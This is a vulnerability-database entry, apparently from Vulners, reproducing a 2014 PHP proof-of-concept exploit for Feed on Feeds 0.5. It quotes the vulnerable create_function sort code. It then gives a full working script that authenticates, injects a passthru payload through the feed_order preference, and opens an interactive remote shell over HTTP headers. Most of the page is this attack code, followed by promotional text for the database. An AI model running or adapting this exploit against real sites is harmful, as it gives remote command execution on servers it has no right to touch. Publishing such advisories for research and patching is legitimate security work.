Lucene search
K

Feed on Feeds <= 0.5 - Remote PHP Code Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Feed on Feeds <= 0.5 - Remote PHP Code Injectio

Code

                                                &#60;?php

/*
    ------------------------------------------------------
    Feed on Feeds &#60;= 0.5 Remote PHP Code Injection Exploit
    ------------------------------------------------------
    
    author..........: EgiX
    mail............: n0b0d13s[at]gmail[dot]com
    software link...: http://feedonfeeds.com/ or http://code.google.com/p/feed-on-feeds/

    This PoC was written for educational purpose. Use it at your own risk.
    Author will be not responsible for any damage.
    
    [-] vulnerable code in /fof-main.php

    1091.    function fof_multi_sort($tab,$key,$rev)
    1092.    {
    1093.        if($rev)
    1094.        {
    1095.            $compare = create_function(&#39;$a,$b&#39;,&#39;if (strtolower($a[&#34;&#39;.$key.&#39;&#34;]) == strtolower($b[&#34;&#39;.$key.&#39;&#34;])) {return 0;}else {return (strtolower($a[&#34;&#39;.$key.&#39;&#34;]) &#62; strtolower($b[&#34;&#39;.$key.&#39;&#34;])) ? -1 : 1;}&#39;);
    1096.        }
    1097.        else
    1098.        {
    1099.            $compare = create_function(&#39;$a,$b&#39;,&#39;if (strtolower($a[&#34;&#39;.$key.&#39;&#34;]) == strtolower($b[&#34;&#39;.$key.&#39;&#34;])) {return 0;}else {return (strtolower($a[&#34;&#39;.$key.&#39;&#34;]) &#60; strtolower($b[&#34;&#39;.$key.&#39;&#34;])) ? -1 : 1;}&#39;);
    1100.        }
    1101.        
    1102.        usort($tab,$compare) ;
    1103.        return $tab ;
    1104.    }
    
    The $key parameter passed to fof_multi_sort() function isn&#39;t properly sanitized before being used in a call 
    to &#34;create_function()&#34; at line 1095 or 1099. This can be exploited to inject and execute arbitrary PHP code.
	Successful exploitation of this vulnerability requires authentication.
    
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( &#34;\n[-] No response from {$host}:80\n&#34;);
    
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

function inject_php()
{
    global $host, $path, $user, $pass;
    
    $data    = &#34;feed_order=\&#34;]));}print(&#39;&#60;&#60;&#39;);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(&#39;&#62;&#62;&#39;);%23&#34;;
    $packet  = &#34;POST {$path}set-prefs.php HTTP/1.0\r\n&#34;;
    $packet .= &#34;Host: {$host}\r\n&#34;;
    $packet .= &#34;Cookie: user_name={$user}; user_password_hash={$pass}\r\n&#34;;
    $packet .= &#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
    $packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
    $packet .= &#34;Connection: close\r\n\r\n&#34;;
    $packet .= $data;
    
    if (preg_match(&#34;/login.php/&#34;, http_send($host, $packet))) die(&#34;\n[-] Incorrect username or password!\n&#34;);
}

print &#34;\n+----------------------------------------------------------------+&#34;;
print &#34;\n| Feed on Feeds &#60;= 0.5 Remote PHP Code Injection Exploit by EgiX |&#34;;
print &#34;\n+----------------------------------------------------------------+\n&#34;;

if ($argc &#60; 5)
{
    print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62; &#60;username&#62; &#60;password&#62;\n&#34;;
    print &#34;\nExample....: php $argv[0] localhost / user pass&#34;;
    print &#34;\nExample....: php $argv[0] localhost /fof/ user pass\n&#34;;
    die();
}

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = md5($argv[4].$user);

inject_php();

$packet  = &#34;GET {$path}sidebar.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: user_name={$user}; user_password_hash={$pass}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
    print &#34;\nfof-shell# &#34;;
    if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
    preg_match(&#34;/&#60;&#60;(.*)&#62;&#62;/s&#34;, http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;);
}

?&#62;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18